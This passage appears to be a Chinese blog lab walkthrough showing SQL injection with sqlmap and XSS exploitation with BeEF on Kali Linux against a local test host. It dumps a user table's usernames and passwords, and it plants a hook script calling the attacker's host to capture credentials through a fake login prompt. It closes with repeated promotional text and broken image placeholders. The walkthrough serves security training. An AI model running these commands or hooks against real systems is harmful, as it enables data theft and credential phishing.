2024年网安最全网络安全：Kali Linux 进行SQL注入与XSS漏洞利用

cat /etc/os-release

（3） 查看Kali Linux (2022.4)系统IP地址

ip addr | grep 154

（4）Windows 查看IP地址

ipconfig

（5）Kali主机 ping Windows主机

ping  192.168.204.10

2.Kali Linux 进行SQL注入

(1) LAMP(LNMP)平台

选择Windows版本

https://www.xp.cn/download.html

（2）sqlmap查阅

https://github.com/sqlmapproject/sqlmap

（3）获取服务器信息

包括操作系统、数据库、 web 容器、后端语⾔

sqlmap -u http://192.168.204.10/news/list.php?id=46

（4）获取数据名称列表

–thread 10  线程数设置为10

sqlmap -u http://192.168.204.10/news/show.php?id=46 --thread 10 -dbs

（5）获取当前数据库名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 --current-db

（6）获取当前数据库中所有表的名称

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news --tables

（7）获取当前数据库指定的表的字段名

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users --columns

（8）获取指定库指定表指定字段的值

sqlmap -u http://192.168.204.10/news/show.php?id=46 -D news -T news_users -C username,password --dump

3.Kali Linux 进行XSS漏洞利用

（1）漏洞测试平台

选择Windows版本

https://github.com/zhuifengshaonianhanlu/pikachu

（2）kali 系统更新

sudo apt-get update

（3）安装ruby

apt-get install ruby

（4）安装beef

apt-get install beef-xss 

（5）启动beef-xss

┌──(root㉿kali)-[~]
└─# beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:

┌──(root㉿kali)-[~]
└─# beef-xss
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Wed 2024-03-27 10:57:29 CST; 5s ago
   Main PID: 26104 (ruby)
      Tasks: 4 (limit: 2248)
     Memory: 92.8M
        CPU: 3.246s
     CGroup: /system.slice/beef-xss.service
             └─26104 ruby /usr/share/beef-xss/beef

3月 27 10:57:34 kali beef[26104]: == 24 CreateAutoloader: migrated (0.0013s) ====================================
3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrating ============================================
3月 27 10:57:34 kali beef[26104]: -- create_table(:xssraysscans)
3月 27 10:57:34 kali beef[26104]:    -> 0.0016s
3月 27 10:57:34 kali beef[26104]: == 25 CreateXssraysScan: migrated (0.0016s) ===================================
3月 27 10:57:34 kali beef[26104]: [10:57:33][*] BeEF is loading. Wait a few seconds...
3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony
3月 27 10:57:34 kali beef[26104]: [10:57:34]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !
3月 27 10:57:34 kali beef[26104]: [10:57:34][!] [AdminUI] Error: Could not minify 'BeEF::Extension::AdminUI::API::Handler' JavaScript file: Invalid option: harmony
3月 27 10:57:34 kali beef[26104]: [10:57:34]    |_  [AdminUI] Ensure nodejs is installed and `node' is in `$PATH` !

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...

（6）浏览器登录

http://127.0.0.1:3000/ui/authentication

(7) 输入账号密码

账号输⼊beef，密码输⼊123456

进入系统

(8) Windows 主机设置钩子

 <script src="http://192.168.204.154:3000/hook.js"></script>

（9）beef获取目标主机

（10）查看模块

（11）选择重定向

执行 (选择Execute)

(12) Windows 主机页面重定向

（13）选择pretty theft

执行 (选择Execute)

（14）Windows主机弹出登录界面

（15）beef获取账号及密码

二、问题

1.XSS分类

（1）类别

1）反射型XSS

2）持久型XSS
 
3）DOM型XSS

2.如何修改beef-xss的密码

（1）修改

vim /etc/beef-xss/config.yaml

(第7、8⾏)

3.beef-xss 服务如何管理

（1）开启服务

1）第一种方式
任意目录，直接输入命令：beef-xss 打开 ，过5秒左右，然后它自动会打开命令行和浏览器beef的登录框

2）第二种方式
进入/usr/share/beef-xss/，输入命令：./beef-xss 打开 ，然后手动打开浏览器链接

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取
RL76-1714721957351)]
[外链图片转存中…(img-mUmkTUZN-1714721957351)]
[外链图片转存中…(img-dOxVLLGV-1714721957352)]
[外链图片转存中…(img-cbIJgF6J-1714721957353)]
[外链图片转存中…(img-3Pc4Stfi-1714721957353)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

需要这份系统化资料的朋友，可以点击这里获取